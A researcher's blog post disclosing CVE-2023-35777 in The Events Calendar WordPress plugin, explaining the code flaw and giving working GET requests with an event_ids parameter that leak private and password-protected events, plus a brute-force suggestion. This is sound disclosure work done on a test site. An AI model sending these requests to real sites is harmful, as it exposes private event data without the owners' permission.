Skip to content

Accessing Private Calendar Events - Intro to WordPress Plugins Research (CVE-2023-35777)

Posted on:July 9, 2023

Key Takeaways

An unauthenticated attacker can access private events created by the The Events Calendar plugin (version 6.1.0.2 at the time of the finding) (CVE-2023-35777).

Motivations

I wanted to have a step into freelance vulnerability research and stumbled upon the PatchStack platform 🀸.

Through the PatchStack Alliance Program, researchers can report WordPress plugin vulnerabilities to earn some money (🀘).

As a very nice bonus, the PatchStack team is super sweet and helpful 😌.

I therefore decided to power a small WordPress setup using warden and have a go at it.

Initial Setup

As I had no idea where to look first, I picked a random plugin in the recommended plugin tab.

The Events Calendar plugin was picked this way. This plugin is super helpful for businesses as it helps website administrators to create and manage a calendar directly within WordPress, with no overhead.

Just like WordPress posts, events have a Visibility attribute.

Visibility Attributes

To test for access-control failure, I decided to create three of them: a public event, a password-protected event and a private event.

3 Events Created

Once created, you can head to the page that shows the calendar to customers at the URL https://yourwordpress/?post_type=tribe_events

An administrator will see all 3 events: Administrator View

A guest user will not see the private event in the interface:

Guest View

Swagger UI Digression

The plugin has a REST API, and when that’s the case, you must have a look at it.

Looking at the code, the plugin offers a Swagger documentation endpoint available at https://yourwordpress/index.php?rest_route=/tribe/events/v1/doc.

If you ever stumble upon a Swagger endpoint, here is a tiny tip to browse the routes locally in Swagger UI:

  1. Clone the GitHub repo at: https://github.com/swagger-api/swagger-ui
  2. Head to: file:///home/username/FOLDER/swagger-ui/dist/index.html
  3. Add the target Swagger endpoint you want to see in the Explore search bar:

Swagger Digression

I did try to find access control vulnerabilities within the endpoints shown in the Swagger but nothing popped up πŸ™ƒ.

Something else caught my eyes, and that’s event exporting.

Exporting Events

If you go back to the customer calendar UI at https://yourwordpress/?post_type=tribe_events, you will see that it is possible to export a website calendar to an iCalendar (.ics) file.

Exporting Events

By clicking on the button, this will trigger a GET request to generate the .ics file:

GET /?post_type=tribe_events&eventDisplay=list&ical=1 HTTP/2
Host: app.wp-research.test
Te: trailers

The first thing to note is that in the response, you can see the description of a password protected event, which is not present in the frontend for an unauthenticated user:

==TRUNCATED==
SUMMARY:Password Protected Event
DESCRIPTION:This is a password protected event πŸ™‚
URL:https://app.wp-research.test/?tribe_events=password-protected-event
==TRUNCATED==

Looking at the code, the ical file generation is done in the do_ical_template function (the-events-calendar/src/Tribe/iCal.php):

public function do_ical_template() {
/* TRUNCATED */
    $event_ids = tribe_get_request_var( 'event_ids', false );

/* TRUNCATED */
    $event_ids = apply_filters( 'tribe_ical_template_event_ids', $event_ids );

    if ( false !== $event_ids ) {
        if ( empty( $event_ids ) ) {
            die();
        }
        $event_ids = Arr::list_to_array( $event_ids );
        $events = array_map( 'tribe_get_event', $event_ids );
        $this->generate_ical_feed( $events );
/* TRUNCATED */

This piece of code shows that:

  1. The $event_ids variable is filled with the content of the event_ids GET parameter. (tribe_get_request_var( 'event_ids', false );)
  2. This parameter goes through the tribe_ical_template_event_ids filter hook and a new value is returned.
  3. The ical feed is generated based on this returned value.

The tribe_ical_template_event_ids filter hook corresponds to the function inject_ical_event_ids (the-events-calendar/src/Tribe/Views/V2/Hooks.php):

public function inject_ical_event_ids( $event_ids = null ) {
    if ( false !== $event_ids ) {
        // The request already specifies a set of Event post IDs to return, bail.
        return $event_ids;
    }
    return $this->container->make( iCalendar\Request::class )->get_event_ids();
}

The line $this->container->make( iCalendar\Request::class )->get_event_ids(); will only return ids of events that are internally marked as publicly visible.

The line return $event_ids; returns all event ids as is, without checking if they are public or private.

Therefore, if we send a GET request with an event_ids parameter, we will gain access to private events.

Accessing Private Events

Let’s modify the original request by adding an event_ids GET parameter. For example:

GET /?post_type=tribe_events&eventDisplay=list&ical=1&event_ids=28 HTTP/2
Host: app.wp-research.test
Te: trailers

Gets back the private event 28:

UID:28-1688371200-1688403600@app.wp-research.test
SUMMARY:Private Event
DESCRIPTION:This is a private event πŸ™‚
URL:https://app.wp-research.test/?post_type=tribe_events&p=28
END:VEVENT
END:VCALENDAR

As the parameter is a PHP array, you can also make the following request:

GET /?post_type=tribe_events&eventDisplay=list&ical=1&event_ids[]=28&event_ids[]=26 HTTP/2
Host: app.wp-research.test
Te: trailers

And get back 2 events (IDs 26 and 28):

UID:28-1688371200-1688403600@app.wp-research.test
SUMMARY:Private Event
DESCRIPTION:This is a private event πŸ™‚
URL:https://app.wp-research.test/?post_type=tribe_events&p=28
// TRUNCATED
UID:26-1688371200-1688403600@app.wp-research.test
SUMMARY:Password Protected Event
DESCRIPTION:This is a password protected event πŸ™‚
URL:https://app.wp-research.test/?tribe_events=password-protected-event

As events IDs are simple numbers and not uuid-like, an attacker could brute-force them to access all private events of the site.

The vulnerability is classified under the Broken Access Control category.

It could impact event-driven businesses which definitely want to keep their next events private.

Where Next?

In a next post, we will discover how a WordPress plugin can be abused to fill a WordPress table to the point of DoS.

See you soon πŸš€

Links